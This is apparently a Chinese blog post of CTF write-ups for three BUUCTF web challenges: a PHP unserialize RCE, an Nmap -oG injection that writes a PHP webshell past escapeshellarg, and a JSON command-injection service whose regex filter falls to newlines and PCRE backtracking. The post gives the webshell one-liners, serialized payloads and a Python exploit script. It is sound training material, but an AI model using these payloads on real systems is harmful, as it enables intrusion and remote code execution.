buu(rce命令执行)

目录

[NPUCTF2020]ReadlezPHP

[网鼎杯 2020 朱雀组]Nmap

[FBCTF2019]RCEService


[NPUCTF2020]ReadlezPHP

查看源代码发现一个目录,然后访问一下

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

 $b($a)看见这个以前肯定做过需要用指定的函数,翻看一下以前的文章复习一下

反谢列话,先尝试一下,system(phpinfo())


<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "phpinfo()";
        $this->b = "system";
    }
}
$c = new HelloPhp;
echo urlencode(serialize($c));
?>

发现还是时间没变化,考虑到system是不是被过滤掉了,用assert试一下

看到环境,果然被过滤了

在里面发现flag,或者通过一句话木马

 public $a = 'eval($_POST[hack]);'; public $b = "assert";

然后通过hack可以链接议建,或者自己构造另一种思路

eval类型函数是代码执行而不是命令执行(一句话木马)

system类型函数是命令执行而不是代码执行

assert和eval类似,是代码执行  assert后面不需要;

[网鼎杯 2020 朱雀组]Nmap

这道题其实不算是命令执行,主要考察Nmap这个工具,但是也用到了一点就归到这类吧

 写这道题之前需要用到,这些知识

nmap其他写文件命令:

-oN (标准输出)

-oX (XML输出)

-oS (ScRipT KIdd|3 oUTpuT)

-oG (Grep输出)

-oA (输出至所有格式)

这道题和我做过的题基本一模一样,buuctf(探险2)_偶尔躲躲乌云334的博客-CSDN博客

[BUUCTF 2018]Online Tool

打开界面,

 127.0.0.1 <?php @eval();?> -oG hack.php        -oG是直接写入

我们先来试一下

说明有过滤的字符,我们依次筛选,发现是php这样就只能使用短标签代替了

127.0.0.1 <?= @eval($_POST[1]);?> -oG h.php  忘记了php被过滤,后缀也一样,用phtml代替127.0.0.1 <?= @eval($_POST[1]);?> -oG h.phtml

显示了上传,可是没有找到这个文件

 其实看到这里我们就能想起来,escapeshellargescapeshellcmd的过滤,这是当成了一整个字符处理,所以不行我们要绕过

只需要两边加'和空格就可以绕过,并且可以省略127.0.0.1 

' <?= @eval($_GET[1]);?> -oG p.phtml ' 这里用get传参更加明显

成功看一下,环境

获得flag 

[FBCTF2019]RCEService

打开界面发现需要用json的方式输入命令,百度一下

{ "name":"兮动人", "age":22, "fruits":["apple","pear","grape"] } 

这种也就是前面是属性,后面是值,用大括号包起来

我们尝试一下 ,这个文本框是cmd

{"cmd":";ls /"}

黑客的企图被发现了,我想到可能有某种过滤,或者正则,可是没有源码,无从下手

偷偷跑过去翻隔壁的wp,拿回来了源码

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

 发现真的过滤了好多

但是他用的是preg_match()函数,只匹配一行,用个换行符搞定

{%0A"cmd":"ls /"%0A}

?cmd={%0A"cmd": "ls /"%0A},如果在文本框输入还需要进行一次url编码,直接在url中写入

没有发现flag

putenv('PATH=/home/rceservice/jail');// 设置了环境变量,只能使用当前环境的命令

改变了当前路径,猜测flag就在这个路径之中

 cmd={%0A"cmd": "ls /home/rceservice/jail"%0A},果然flag在里面直接cat

 那如何调用cat呢,简单,直接用绝对路径调用
?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}

方法二

使用脚本回溯次数超出了限制,让正则失效:

回溯就是通过请求次数>1000000然后返回flase,如果想防御这个漏洞,可以用强比较

flase===0  false

flase==0  true 

PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌

import requests
url="http://bf25a98f-152e-4770-a4b5-6dfe0d4aab20.node4.buuoj.cn:81/"
payload='{"cmd":"ls /","test":"' + "a"*(1000000) + '"}'
res=requests.post("http://bf25a98f-152e-4770-a4b5-6dfe0d4aab20.node4.buuoj.cn:81/",data={"cmd":payload})
print(payload)
print (res.text)

然后把payload改为

payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'

获得flag

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值